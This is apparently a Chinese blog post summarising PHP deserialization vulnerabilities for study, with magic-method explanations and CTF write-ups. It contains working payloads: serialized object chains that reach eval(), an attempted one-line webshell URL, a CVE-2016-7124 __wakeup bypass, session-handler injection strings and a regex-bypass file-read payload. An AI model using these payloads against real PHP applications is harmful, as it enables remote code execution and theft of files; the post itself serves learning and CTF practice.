PHP反序列化漏洞学习小结
最近又遇到php反序列化,就顺便来做个总结。
0x01 PHP序列化和反序列化
php序列化:php对象 序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了php对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。
php反序列化:php客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。
简单来说,序列化就是把实体对象状态按照一定的格式写入到有序字节流,当要用到时就通过反序列化来从建对象,恢复对象状态,这样就可以很方便的存取数据和传输数据。
序列化例子:
<?php
class test{
public $name = 'lu';
private $name2 = 'lu';
protected $name3 = 'lu';
}
$test1 = new test();
$object = serialize($test1);
print_r($object); ?>
最后输出:O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}
注意:序列化对象时,不会保存常量的值。对于父类中的变量,则会保留
序列化只序列化属性,不序列化方法。
简单介绍下具体含义
但是我们注意到上面的例子序列化的结果有些不对。那是因为序列化public private protect参数会产生不同结果,test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串但是序列化输出的值不相同。
通过对网页抓取输出是这样的
`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"\00test\00name2";s:2:"lu";s:8:"*\00*\00name3";s:2:"lu";}
public的参数变成 name private的参数被反序列化后变成 \00name\00name2 protected的参数变成 \00*\00name3
反序列化试例:
?php
class lushun{
var $test = '123';
}
$class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
//我们在这里用 unserialize() 还原已经序列化的对象
$class2_un= unserialize($class2); //此时的 $class2_un 已经是前面的test类的实例了
print_r($class2_unser);
echo "</br>";
?>
一般反序列化后必须要在当前作用域有对应的类(因为不会序列化方法),实例才能正确使用,所以再进行反序列化攻击的时候就是依托类属性进行,找到我们能控制的属性变量,在依托它的类方法进行攻击。将上面定义的lushun类删除之后。结果
提示不完整的类
0x02 PHP序列化漏洞是怎么产生的
要了解在序列化和反序列化之间的漏洞,我们先要了解PHP里面的魔术方法,魔术方法一般是以__开头,通常都设置了某些特定条件来触发。这里先提一下有个印象。
PHP的魔法函数
__wakeup, unserialize() 执行前调用
__destruct, 对销毁的时候调用
__toString, 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
序列化本身没有问题,问题还是那个经典的老大难:用户输入,我们可以控制序列化和反序列化的参数,就可以篡改对象的属性来达到攻击目的。为了达到我们想实现的目的,就必须对序列化和反序列化过程进行详尽的了解,利用或者绕过某些魔法函数。
来一个例子
<?php
class test{
public $target = 'this is a test';
function __destruct(){
echo $this->target;
}
}
$a = $_GET['test'];
$c = unserialize($a);
?>
我们构造一个反序列化来修改$target的内容,就可以制造一个xss弹窗,既然我们可以控制$a的输入
<?php
class test{
public $target = '<script>alert(document.cookie);</script>';
}
$a = new test();
$a = serialize($a);
echo $a;
?>
0x03 魔法函数的触发顺序
我们重点关注以下几个魔法函数
这里我们着重关注一下几个:
- 构造函数
__construct()
:当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 - 析构函数_
_destruct()
:当对象被销毁时会自动调用。 __wakeup()
:如前所提,unserialize()时会自动调用。__toString()
当一个对象被当作一个字符串使用
*__sleep()
在对象在被序列化之前运行,用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。
测试代码
<?php
class lushun{
public $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __sleep(){
echo "__sleep";
echo "</br>";
return array('test');
}
function __toString(){
return "__toString"."</br>";
}
function __conStruct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$lushun_1 = new lushun();
$data = serialize($lushun_1);
$lushun_2 = unserialize($data);
print($lushun_2);
print($data."</br>");
?>
输出结果:
可以看到__destruct函数执行了两次,说明有两个对象被销毁,一个是实例化的对象,还有一个是反序列化后生成的对象。
0x04 魔法方法的攻击
先来看个例子
<?php
class One {
private $test;
function __construct() {
$this->test = new Bad();
}
function __destruct() {
$this->test->action();
}
}
class Bad {
function action() {
echo "1234";
}
}
class Good {
var $test2;
function action() {
eval($this->test2);
}
}
unserialize($_GET['test']);
可以看到需要我们传入一个序列化后的字符串作为参数,然后看定义了三个类第一个One类里有两个魔法函数,一个构造函数一个析构函数,构造函数把One类的test属性变成Bad类的实例,析构函数就执行action()方法,但是到现在还是没发现什么有价值的东西,再往下看Good类里有eval函数,这个函数很危险能够执行php命令,知道了这些想想怎么能利用上,如果我们能将构造函数的test属性从Bad类转到Good类,再给Good类的test变量定义一个可以执行的值,是不是就可以用上了呢。看一下实现代码。
<?php
class One {
private $test;
function __construct() {
$this->test = new Good();
}
}
class Good {
var $test2="phpinfo();";
}
$A = new One;
print(serialize($A));
这里可能你也有个疑问,php序列化的时候是不会序列化方法的,但是这里序列化之后还是带着构造方法所引用的对象信息,我将构造方法删除之后,在执行了一次,是这样的。
发现构造函数还是影响了序列化的操作,这里着实困扰了我一阵,后来发现是我傻了,在序列化之前已经先new了一个对象构造函数已经先执行了,已经将test的属性改为Good类的对象了,所以序列化时自然会带上Good类。
接下来就可以用生成的序列化结果复制出来,像之前的代码发起请求
192.168.0.103/13.php?test=O:3:"One":1:{s:9:"%00One%00test";O:4:"Good":1:{s:5:"test2";s:10:"phpinfo();";}}
注意:test是private类型,记得加上%00xx%00,我们在传输过程中绝对不能忘掉.
这里我还尝试了一下把$test2的值换成一句话马
然后构造url用菜刀连接
http://192.168.0.103/13.php?test=O:3:"One":1:{s:9:"Onetest";O:4:"Good":1:{s:5:"test2";s:13:"($_POST[cmd])";}}
结果报错了
下次再研究一下为什么。
到了这里大致总结一下发现利用php反序列化漏洞的几个点。
(1)检查我们是否能控制unserialize()函数的参数。
(2)重点查看序列化对象里的魔法函数的作用,看看可控制的属性有没有能对其产生影响的。
(3)该类在执行序列化之前做了哪些动作,或者操作。
(4)最后选择好要控制的属性之后,将相关的类代码复制下来生成反序列结果。
0x05 反序列化漏洞例题
1.bugku平台 flag.php
http://123.206.87.240:8002/flagphp/?hint
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link rel="stylesheet" href="admin.css" type="text/css"></head><body><br><div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
代码审计看到首先将请求头cooke值里ISecer的键值保存到$Cookie
里,再判断$Key的值是否与反序列化后的$Cookie
值相同,注意在这里$Key
的数值是没有定义的,最后那个定义是在后面了没起作用。
所以我们只需要将cookie的值改为$Key序列化后的值就行。代码如下。
<?php
$key = "";
$aaa = serialize($key);
print ($aaa)
?>
输出:s:0:"";
再把cookie改为ISecer:s=0:"";即可,注意要是用浏览器插件修改cookie的话要把;改为%3B
2.反序列化绕过__wakeup
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->
代码意思就是将提交的file参数base64解码后再反序列化,我们看到析构函数可以显示不同文件的源码,但是__wakeup函数已经锁定了file为index.php
所以现在就是考虑绕过__wakeup函数,实际上是一个CVE漏洞,CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。网上已经有很多讲解了,我们只需要知道成员数目大于实际数目这个利用的点就行了
构造exp
<?php
class SoFun{
protected $file = 'flag.php';
}
$aa = new SoFun();
$aaa = serialize($aa);
file_put_contents('qq.txt',$aaa);
?>
O:5:"SoFun":1:{s:7:"/00*/00file";s:8:"flag.php";}
有protected属性成员记得加上/00
,再把1改为2或者更大的数,再base64编码一下就行了,但我在操作中发现如果括号里第一个s为小写,base64编码后不会显示flag.php源码.
诶这又是为什么,我思来想去,最后发现是protected属性的问题,我将源码的protected改为var后,无论s大写小写都可以正常显示flag.php源码,我再次试验后发现private属性也是一样的有这个问题。算是个坑吧刚好记录一下。
session反序列化
看看这个
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
PHP中的会话中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid
来进行命名的,文件的内容就是会议的值序列化之后的内容。
session.serialize_handler
是用来设置会话序列的化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的会话的存储方式不相同。
php session有三种序列化和反序列化处理器
处理器 | 对应的存储格式 |
---|---|
php_binary | 键名的长度对应的ASCII字符+键名+经过的serialize()函数序列化处理的值 |
php | 键名+竖线+经过的serialize()函数序列处理的值 |
php_serialize(php>5.5.4) | 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化 |
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler ', '需要设置的处理器'); |
session使用相同的序列化和反序列化处理器进行存储工作时是正常的,但如果php session序列化和反序列化时使用的处理器不同会导致无法正常反序列化,通过特殊的构造甚至可以伪造任意数据。
比如默认是php的handler,在该页面设置为php_serialize这是如果我们传入一个 '|O:5:"Class"';,这样的一个数据,在储存时就会加上键名进行序列化,但是进行读取的时候还是会按照php handler来处理,以|作为键和值的分隔符,将前半部分当作键,后半部分当作值,然后进行反序列化。
在默认的php处理器下储存为
<?php
session_start();
$_SESSION['sex'] = 'man';
储存的值为:
sex|s:3:"man";
在php_serialize处理器下:
注意:使用php_serialize
php版本必须在5.5.4以上不然没有这个方法报错。
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['sex'] = 'man';
储存的值为:
a:1:{s:3:"sex";s:3:"man";}
实际利用
so.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["sex"]=$_GET["m"];
soo.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Sex{
var $hi;
function __construct(){
$this->hi = "system('whoami');";
}
function __destruct() {
eval($this->hi);
}
}
在so.php构造
127.0.0.1/2016/so.php?a=Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}
然后访问soo.php
为什么会这样呢,因为开始访问so.php时,脚本会按照php_serialize处理器的方法序列化存储数据,会将Sex当做键名,a的参数当做键值当成一个数组序列化存储起来,变成这样
a:1:{s:3:"sex";s:45:"Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}";}
然后访问soo.php时是用php处理器读取数据,会以|为分界线,前半部分作为键名后半部分作为值将后半部分反序列化,会得到Sec类。
反序列化绕过正则
一道简单ctf
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
unserialize 一眼就看到了是反序列化题目,一个__toString方法允许读取任意文件。
所以构造反序列化,但是还有个正则拦路虎
preg_match('/[oc]:\d+:/i',$data,$matches)
筛掉了[oc]:数字:
所以如果正常构造序列化字符串
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
前面的O:4就被拦下,所以我们在4后面加上个+构造payload:
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
记得编码一下,不然+会变成空格